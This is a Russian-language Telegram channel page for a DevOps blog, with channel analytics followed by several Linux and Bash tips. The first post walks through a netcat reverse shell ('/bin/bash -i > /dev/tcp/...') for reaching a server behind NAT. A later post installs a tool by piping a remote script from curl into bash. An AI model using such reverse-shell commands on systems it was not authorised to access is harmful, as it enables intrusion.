Bash Days | Linux | DevOps
Авторский блог от действующего девопса Самобытно про разработку, devops, linux, скрипты, сисадминство, техдирство и за айтишную жизу. Автор: Роман Шубин Реклама: @maxgrue MAX: https://max.ru/bashdays Курс: @tormozilla_bot Блог: https://bashdays.ru
Show more📈 Analytical overview of Telegram channel Bash Days | Linux | DevOps
Channel Bash Days | Linux | DevOps (@bashdays) in the Russian language segment is an active participant. Currently, the community unites 23 792 subscribers, ranking 5 701 in the Technologies & Applications category and 28 128 in the Russia region.
📊 Audience metrics and dynamics
Since its creation on невідомо, the project has demonstrated rapid growth, gathering an audience of 23 792 subscribers.
According to the latest data from 17 June, 2026, the channel demonstrates stable activity. Although there has been a change in the number of participants by -202 over the last 30 days and by -5 over the last 24 hours, overall reach remains high.
- Verification status: Not verified
- Engagement rate (ER): The average audience engagement rate is 21.91%. Within the first 24 hours after publication, content typically collects 12.48% reactions from the total number of subscribers.
- Post reach: On average, each post receives 5 213 views. Within the first day, a publication typically gains 2 971 views.
- Reactions and interaction: The audience actively supports content: the average number of reactions per post is 21.
- Thematic interests: Content is focused on key topics such as bashdays, linux, bash, docker, скрипт.
📝 Description and content policy
The author describes the resource as a platform for expressing subjective opinions:
“Авторский блог от действующего девопса
Самобытно про разработку, devops, linux, скрипты, сисадминство, техдирство и за айтишную жизу.
Автор: Роман Шубин
Реклама: @maxgrue
MAX: https://max.ru/bashdays
Курс: @tormozilla_bot
Блог: https://bashdays.r...”
Thanks to the high frequency of updates (latest data received on 18 June, 2026), the channel maintains relevance and a high level of publication reach. Analytics show that the audience actively interacts with content, making it an important point of influence in the Technologies & Applications category.
nc = netcat, вот с помощью нее можно подключаться к серверам у которых нет прямого айпи адреса, а есть только внутренний, либо все за NAT лежит.
Темка называется — Reverse Shell. Про неё ты тоже всяко слышал. В подробности вдаваться не будем, потыкаем на практике чтобы тебе все стало понятно.
У меня есть сервер в закрытом периметре без внешнего айпи адреса.
Нужно выдать доступ левому инженеру из мухосранска, который подключиться к этому серверу и произведет работы на сервере.
Как быть? Привязывать белый айпишник не вариант. Бастиона нет. SSH тоннели не канают. Тут-то на помощь и приходит netcat.
Просим инженера из мухосранска запустить у себя:
root@fuck:/ nc -lvnp 2288
В ответ он получает строчку вида: Listening on 0.0.0.0 2288
-l = слушать входящие соединения
-v = быть более подробным
-n = использовать IP-адреса без DNS
-p = порт
Дальше я иду на сервер, который не имеет белого айпишника и запускаю на нём:
/bin/bash -i > /dev/tcp/айпи мухосранска/2288 0<&1 2>&1
Не забываем у инженера узнать его IP, чтобы подставить 0<&1 2>&1 описывать не буду, ебаные премудрости, сто раз уже мусолили в постах. Если интересно, спроси у GPT.
А дальше… магия!
В мухосранске, там где запустили nc -lvnp 2288, произойдет такое:
Listening on 0.0.0.0 2288
Connection received on 147.45.73.123 50740
root@stage1:~#
У инженера сменится шелл с root@fuck на root@stage1 и он получит доступ к нашему закрытому серверу без белого айпишника. Ну охуенно же!
Ну а дальше можно и админить всё это дело пользуясь всеми благами командной строки.
Для всего происходящего могут понадобиться рут права, поэтому сразу делаем на это погрешность.Прошу отметить, что предоставленная здесь информация предназначена исключительно для образовательных и информационных целей. Я не призываю и не одобряю незаконные действия, и использование этой информации для незаконных целей запрещено. Читатели должны соблюдать законы своей страны и использовать свои навыки с уважением к этическим нормам и законам. Давай, увидимся! tags: #linux #networks #security — 🔔 @bashdays
su и sudo. Но не все знают про команду runuser.
ㅤ
Эта команда используется в скриптах, системных процессах, крон тасках и в контексте служб которые запускаются с привилегиями рута. А самое главное не требует ввода пароля.
Пример:
runuser -u roman -- id
Ну и важно посмотреть help, чтобы жонглировать ключами. Там тебе и проброс шелла, сохранение/очистка переменных, псевдотерминалы и т.п.
В скриптах предпочтительнее использовать именно runuser чем везде пихать su.
Если у тебя нет привилегий root и нужно выполнить команду от имени другого пользователя, su для этого подходит лучше.
А чем отличается su от sudo (+ это двойное тире) я писал в этом посте.
Такие дела, изучайте…
tags: #linux
—
🔔 @bashdayssudo vim /usr/local/bin/servcontrol
#!/bin/bash
trap '' SIGINT SIGTERM SIGHUP DEBUG
declare -i MULTICOLUMN=0
declare -ir CMD_COL=3 #command column
declare -ir DLY_COL=4 #delay column
declare -ir NOCONFIRM_COL=5
declare -i COLS=$(echo "cols"|tput -S)
declare -i NUM=0
declare -u ANS
function ini(){ echo '
# (autonum_1) : name_2 : command_3 : delay_sec_4 : [NO_confirm_5]
Exit menu :exit:0:y
restart_postgres:systemctl postgresql restart:60
restart_1c_1541 :systemctl srv1cv83 restart:60
restart_1c_2541 :systemctl srv1cv83_2 restart:60
REBOOT__SERVER :reboot:10
'|awk '!/^#/ && NF {print ++i ":" $0}'
}
function get_ini_col(){ ini|awk -F: -vn=$1 -vc=$2 '$1==n{print $c;exit}';}
function prn_sleep(){
declare -i I=$1
while [[ $I -gt 0 ]];do
echo -ne "$I\033[0K\r"
sleep .99
I=$I-1
done
}
[[ $MULTICOLUMN -eq 0 ]] && CMDE='cat' || CMDE='column -x -c$COLS'
declare -i MAX=$(ini |awk -F: '{m=$1}END{print m}')
while :;do
clear
ini|awk -F: '{print $1,$2,"delay",$4 }'|eval $CMDE
read -p "select item number = "
#protection
NUM=$(echo $REPLY|sed 's/[^0-9]//g')
if [[ $NUM -le 0 ]] || [[ $NUM -gt $MAX ]];then
continue
fi
CMD=$(get_ini_col $NUM $CMD_COL)
DLY=$(get_ini_col $NUM $DLY_COL)
clear
echo delay "$DLY"
echo "$CMD"
#confirmation
if [[ -n $(get_ini_col $NUM $NOCONFIRM_COL) ]];then
ANS="YES"
else
read -p "Type YES to confirm operation " ANS
fi
if [[ "$ANS" == "YES" ]];then
clear
echo "$CMD"
prn_sleep $DLY
$CMD
exit
else
echo "Operation caneled"
sleep 1
fi
done
#--
Данный скрипт позволяет перезапустить postgres, сервисы 1с на первом или втором комплекте портов или ребутнуть весь сервак. Разбор скрипта делать не буду, если кому-нибудь будет интересно - напишу разбор отдельной статьей.
sudo chmod 755 /usr/local/bin/servcontrol
в файле /etc/ssh/sshd_config
Match User bashdays_tagd
MaxAuthTries 3
MaxSessions 1
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding no
ForceCommand sudo /usr/local/bin/servcontrol
#--
sudo service sshd restart
Ну, и самое главное. Чтобы эта вся фигня заработала, нужно либо запускать скрипт от root, либо разрешить выполнение скрипта под sudo без пароля для этого пользователя/группы.
Добавляем запись в конец файла /etc/sudoers.
Она позволит запускать указанный скрипт пользователю bashdays_tagd с привилегиями root. Следовательно, все команды в скрипте будут работать.
sudo vim /etc/sudoers
bashdays_tagd ALL=(ALL) NOPASSWD: /usr/local/bin/servcontrol
После подключения ssh bashdays_tagd@host.name
Пользователь видит интерактивное меню со списком команд, которые может выбрать. И все! Команда reboot в скрипте выполняется с задержкой в 5 минут.
Это сделано для того, чтобы нельзя было ребутить сервак в быстром цикле. По идее 5 минут должно хватить, чтобы отключить учетку хакнутого/сумашедшего пользователя или отредактировать sshd_config или sudoers.
man sshd_config
man sudoers
tags: #bash #linux
—
🔔 @bashdaysshellcheck и дизейблить коммит если я накосорезил.
Сейчас автоматизируем
ㅤ
Про shellcheck я писал отдельный пост. Короче он у тебя должен быть установлен.
Дальше создаем файл .git/hooks/pre-commit в репозитории, в котором нужно запускать проверку и пишем в него:
#!/bin/bash
bash_scripts=$(find . -name "*.sh")
for script in $bash_scripts; do
shellcheck "$script"
if [ $? -ne 0 ]; then
echo "Shellcheck failed on $script. Commit aborted."
exit 1
fi
done
exit 0
Хуй знает, работает этот код или нет, я давно им не пользовался, главное тут концепт.
Делаем это исполняемым:
chmod +x .git/hooks/pre-commit
Теперь перед каждым коммитом будет выполняться shellcheck для всех Bash-скриптов в репозитории. Если shellcheck найдет ошибки, твой коммит не пройдет, пока не пофиксишь.
По началу это напряжно, но потом понимаешь что у тебя уже вырабатывается какой-то кодстайл и ты не можешь распиздяйничать.
Если у тебя скрипты имеют другое расширение, соответственно меняешь его в переменной bash_scripts.
Помню в компании была подобная штука на проверку puppet кода, пиздец, я там орал как белуга не понимая что эта тварь от меня хочет. По итогу когда я возглавил отдел, выкосил это дермище вместе с puppet.Бонусом адаптация под проверку ansible плейбуков:
#!/bin/bash
playbooks=$(find . -name "*.yml" -o -name "*.yaml")
for playbook in $playbooks; do
ansible-lint "$playbook"
if [ $? -ne 0 ]; then
echo "ansible-lint failed on $playbook. Commit aborted."
exit 1
fi
done
exit 0
В зависимостях — нужно установить ansible-lint.
С помощью pre-commit можешь любую хуйню замутить и усложнять себе жизнь в геометрической прогрессии, А вообще pre-commit нахуй не нужен, он помещает тебя в рамки и ты теряешь свободу в творчестве.
Пользуйтесь.
tags: #bash #git
—
🔔 @bashdaysfdupes называется.
Натравливаешь её на нужный каталог и получаешь кайф:
fdupes -r ~/Downloads
По выхлопу:
./music/Blind Guardian Bright Eyes.mp3
./mp3/Blind Guardian Bright Eyes.mp3
Опа, в папках music и mp3 идентичные файлы, значит один из них точно можно ёбнуть!
Но чо руками что ли это делать? Неа!
fdupes -d ~/Downloads/*
Тебе вывалит интерактивный режим:
Set 1 of 1:
1 [ ] /tmp/Downloads/music/Blind Guardian Bright Eyes.mp3
2 [ ] /tmp/Downloads/mp3/Blind Guardian Bright Eyes.mp3
Но вообще если не боишься, запускай:
fdupes -r -d -N ~/Downloads/*
Как говорится, если ты не знаешь что у тебя хранится на диске — значит оно тебе нахуй не нужно. Так что посмелее!После отработки получаем:
[+] ~/Downloads/music/Blind Guardian Bright Eyes.mp3
[-] ~/tmp/Downloads~/mp3/Blind Guardian Bright Eyes.mp3
В папке ~/Downloads/music файл остался, а вот в в папке mp3 похерился.
Работает эта штука - Очень шустро! И зашла она мне прям люто, аналогично как ncdu из этого поста.
Ставится элементарно:
apt install fdupes
+ у ней дофига ключей, вызывай help и изучай, чо там только нет.
Ссылка на репку: https://github.com/adrianlopezroche/fdupes
Но есть алтернативы шутрее:
Бенчмарки 8vCPU/30G (54,000 files 17Gb)
fdupes takes 2m 47.082s findup takes 13.556s jdupes takes 0.165sЛибо наш любимый
find со своей кишкой из аргументов. Выбор за тобой!
Давай, увидимся!
tags: #utilites #linux
—
🔔 @bashdaysbashdays.ru/1
bashdays.ru/2
bashdays.ru/3
bashdays.ru/4
bashdays.ru/5
И есть условный bash скрипт, который должен прочитать этот файл и присвоить значения переменным, чтобы получилось так:
$1 = bashdays.ru/1
$2 = bashdays.ru/2
$3 = bashdays.ru/3
$4 = bashdays.ru/4
$5 = bashdays.ru/5
Сначала прикидываем в голове алгоритм — читаем файл построчно, цикл вся хуйня, делаем что-то на подобии массива и дальше по накатанной. Это всё понятно, классика.
Но решим мы её как обычно через жопу:
#!/bin/bash
n=$(<bashdays.txt)
set -- $n
echo $1 # bashdays.ru/1
echo $2 # bashdays.ru/2
echo $3 # bashdays.ru/3
...
echo $@ # bashdays.ru/2 bashdays.ru/3 ...
Охуенно? ДА! Теперь давай разберем чо происходит.
В переменную «n» зачитываем bashdays.txt с нашим списком урлов.
Как сказал Паук — Рэп это кал!Это так, к слову, если любишь рэп — ничо против не имею. Конструкция
$( < ) аналогична команде «cat», выполняет замену с подстановкой == $(cat bashdays.txt).
По итогу переменная «n» содержит в себе весь текст из файла bashdays.txt
Ну а магическая поебень set -- $n устанавливает позиционные параметры на основе содержимого переменной «n». То есть решает нашу задачу.
Символ «--» перед set = сброс всех предыдущих позиционных параметров и установка новых.
Можно конечно сделать проще, но проще это не для нас:
cat bashdays.txt | xargs ./script.sh
Тут содержимое файла bashdays.txt передается в скрипт и скрипт получает эти параметры в качестве аргументов.
#!/bin/bash
echo $1
echo $2
echo $3
echo $@
Итого получаем аналогичную картинку:
bashdays.ru/1
bashdays.ru/2
bashdays.ru/1 bashdays.ru/2 ...
Такие вот дела, накидывайте в комменты еще варианты упоротых решений, простые не интересны.
tags: #bash
—
🔔 @bashdaysbash: declare: 08: слишком большое значение для основания (неверный маркер «08»)Скрипт, написанный и работающий с 02.02.24г вдруг перестал работать. Чудеса? ㅤ Лезу, смотрю, где ошибка.
declare -i MON=$(date +%m)
Мне нужен просто номер месяца для контроля, какой накопитель должен быть примонтирован.
Начинаю выяснять. Оказывается, числа, начинающиеся с "0", а bash считает восьмеричными. Понятное дело, 08 для восьмеричной системы великовато.
Ну, решений проблемы море.
0. Самый правильный вариант (подсказал Alexey Kuznetsov)
declare -i MON=$(date "+%-m")
1. Классический вариант
declare -i MON=$((10#$(date "+%m")))
10# - система счисления. Роман об этом уже писал. Но, читаемость (понимаемость) строки - так себе.
2. Более читаемый
declare -i MON=$(date "+%m"|sed 's/^0//')
Просто уберем ведущий "0" и проблема решена.
3. Решение на awk.
Пробую пробую на своей машине:
declare -i MON=$(awk 'BEGIN{m=+strftime("%m");print m}')
Работает. Встраиваю в скрипт - ошибка
awk: line 2: function strftime never definedПоверяю версии
awk. У меня на машине gawk, на серваке mawk.
Блин, это уже вызов. mawk - не gawk и у него отсутствуют функции времени и даты (ну, по крайней мере в той версии).
Но, решение есть.
declare -i MON=$(date "+%m"|awk '{print $1+=0}')
Странная инструкция $1+=0 позволяет преобразовать строковое представление числа в первой колонке в числовое.
Ну, собственно все. В коментах надеюсь увидеть другие варианты решения проблемы.
tags: #linux
—
🔔 @bashdaysБЕЗДУМНАЯ НАСТРОЙКА SSH по SSH МОЖЕТ ПРИВЕСТИ К ПОТЕРЕ КОНТРОЛЯ НАД СЕРВЕРОМ. Чтобы минимизировать риски, я подключаюсь по ssh двумя сессиями. В одной правлю sshd_config, другую оставляю для возможного отката при косяках, поскольку при перезапуске sshd с измененным конфигом текущие сессии сохраняются. Наличие физического доступа к консоли - приветствуется. sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.$(date +%Y%m%d-%H%M%S)Вы уже знаете, как настроить ключи. И они прописаны и работают!!! Есть несколько способов безболезненно раздать vрn на свою семью. В файле
/etc/ssh/sshd_config
Match User bashdays_tagd
# или Match Group proxy
MaxAuthTries 3
MaxSessions 0
PasswordAuthentication no
PermitEmptyPasswords no
PubkeyAuthentication yes
allowtcpforwarding yes
#--
sudo service sshd restart
Если иcпользуете группу — не забудьте добавить в нее пользователя:
sudo usermod -aG proxy bashdays_tagd
При параметре MaxSessions 0 будет запрещен доступ к shell и sftp. Но разрешен проброс портов.
На клиенте:
ssh -N -D 5000 bashdays_tagd@ssh.host.name
После запуска и ввода фразы ключа программа ничего не выводит, а потом, при использовании начинают сыпаться какие-то ошибки, ну и ладно. Если прервать команду, соединения в браузере разорвутся.
В firefox:
Настройки -> Настройка сети -> Параметры соединения Ручная настройка прокси. SOCKS5. 127.0.0.1 порт 5000. Галка — Отправлять DNS-запросы через прокси при использовании SOCKS 5 или:
ssh -N -D 192.168.1.57:5000 bashdays_tagd@ssh.host.name
Если ваш адрес 192.168.1.57 и вы, человек еще более добрый чем я, и решили поделиться VРN со всей своей локалкой (в которой сидит еще и тёща с тестем):
В настройках firefox нужно будет заменить 127.0.0.1 на 192.168.1.57
Продолжение следует...
tags: #linux
—
🔔 @bashdaysОбычно после отпуска нахрен забываешь весь этот чудо docker синтаксис и приходится вновь лезть в интернет за мануалом — докер для чайников.Ну дак вот GMD всю эту работу берет на себя, тыкай горячие кнопки и рули своими образами и контейнерами. Прям мастхевная хуёвина для каких-то своих пет-прооектов. Для разработчиков прям пушка, поставил локально и не ебись с консолькой. Ставится элементарно:
bash -c "$(curl -sLo- https://raw.githubusercontent.com/ajayd-san/gomanagedocker/main/install.sh)"
Репка тут: https://github.com/ajayd-san/gomanagedocker
tags: #utilites
—
🔔 @bashdays
Available now! Telegram Research 2025 — the year's key insights 
